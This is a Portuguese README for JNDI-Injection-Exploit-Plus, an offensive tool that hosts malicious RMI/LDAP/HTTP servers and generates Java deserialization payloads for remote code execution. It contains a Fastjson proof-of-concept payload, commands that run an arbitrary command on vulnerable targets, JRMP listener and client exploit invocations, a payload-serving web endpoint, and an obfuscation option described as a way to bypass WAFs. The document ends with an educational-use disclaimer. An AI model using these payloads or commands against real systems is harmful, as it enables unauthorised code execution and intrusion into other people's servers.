JNDI-Injection-Exploit-Plus

中文 README

Descrição

O JNDI-Injection-Exploit-Plus é uma ferramenta para gerar links JNDI funcionais e fornecer serviços de fundo iniciando servidores RMI, LDAP e HTTP.

Usando esta ferramenta, você pode obter links JNDI e inseri-los em seu POC para testar vulnerabilidades.

Por exemplo, este é um Fastjson vul-poc:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}

Podemos substituir "rmi://127.0.0.1:1099/Object" pelo link gerado pelo JNDI-Injection-Exploit-Plus para testar a vulnerabilidade.

Além disso, você também pode usar o JNDI-Injection-Exploit-Plus para gerar payloads do tipo base64/hex como ysoserial

Mais que JNDI-Injection-Exploit

JNDI-Injection-Exploit é uma ótima ferramenta, esta é a versão plus dela.

O que há a mais

1. Mais Gadgets de Referência Remota JNDI: (total: 3)

• Suporte JDK 6/7/8

2. Mais Gadgets de Referência Local JNDI: (total: 4)

3. Gadgets de Desserialização (total: 75)

P.S. Mais Gadgets (⬆️ ) que o ysoserial, sejam bem-vindos a enviar PR com mais! ^_^

4. Gerar e exportar payloads

Como ysoserial.

Você pode gerar os payloads de desserialização com saída do tipo Base64 ou HEX.

5. Wrapper

Alguns Wrappers para encapsular os dados de desserialização.

• Exemplo

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream

6. Fusão

Oculta o nome da classe para contornar WAF.

• Exemplo

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -F

Referência: https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html

Serviço web para retornar Gadgets de Desserialização

java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar

POST /deserial/{Gadget}

cmd={comando}&wrapper={wrapper}output={base64/hex}

P.S. Os parâmetros wrapper e output são opcionais.

Uso

Links JNDI

Execute como

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [comando] [-A] [endereço]

onde:

• -C - comando executado no classfile remoto.

  (opcional, o comando padrão é "open /Applications/Calculator.app")

• -A - o endereço do seu servidor, pode ser um IP ou um domínio.

  (opcional, o endereço padrão é o primeiro endereço de interface de rede)

Pontos de atenção:

• certifique-se de que as portas do seu servidor (1099, 1389, 8180) estão disponíveis.

  ou você pode alterar a porta padrão na classe run.ServerStart.

• seu comando é passado para Runtime.getRuntime().exec() como parâmetros,

  então você precisa garantir que seu comando funcione no método exec().

  Comandos em bash como "bash -c ...." precisam de aspas duplas.

Payloads de Desserialização

Execute como

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [comando] [-D] [Gadget] [-O] [base64/hex]

onde:

• -C - comando executado no classfile remoto.

  (opcional, o comando padrão é "open /Applications/Calculator.app")

• -D - O nome do payload do Gadget de desserialização.

• -O - (Opcional) O tipo de saída da desserialização, o padrão é base64.

Exploits de Desserialização

JRMP

• JRMPListener

java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <porta> CommonsCollections1 calc

• JRMPClient

java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<porta>" -D "JRMPClient" -O base64

Exemplos

Links JNDI

Demonstração local:

1. Inicie a ferramenta assim:

   root@kitploit:~

   $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
   

   Captura de tela:

   

2. Suponha que injetamos os links JNDI como rmi://ADDRESS/remoteExploit8 gerado no passo 1 em uma aplicação vulnerável que pode ser atacada por injeção JNDI.

   Neste exemplo, fica assim:

   root@kitploit:~

   class Test{
       public static void main(String[] args) throws Exception{
           InitialContext ctx = new InitialContext();
           ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
       }
   }
   

   então, quando executamos este código, o comando será executado,

   e o log será impresso no shell:

   

Para mais exemplos: Test-JNDI-Injection-Exploit-Plus

Payloads de Desserialização

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64

Resultado da saída Base64:

Instalação

Podemos selecionar um dos dois métodos para obter o jar.

1. Baixe o último jar de Releases.

2. Clone o código fonte para local e compile (Requer Java 1.8+ e Maven 3.x+).

   root@kitploit:~

   $ git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.git
   

   root@kitploit:~

   $ cd JNDI-Injection-Exploit-Plus
   

   root@kitploit:~

   $ mvn clean package -DskipTests
   

P.S. ‼️ Se você receber o erro "java.rmi.xxx does not exists", defina a variável de ambiente JAVA_HOME.

Aviso Legal

Todas as informações e códigos são fornecidos exclusivamente para fins educacionais e/ou teste de seus próprios sistemas para essas vulnerabilidades.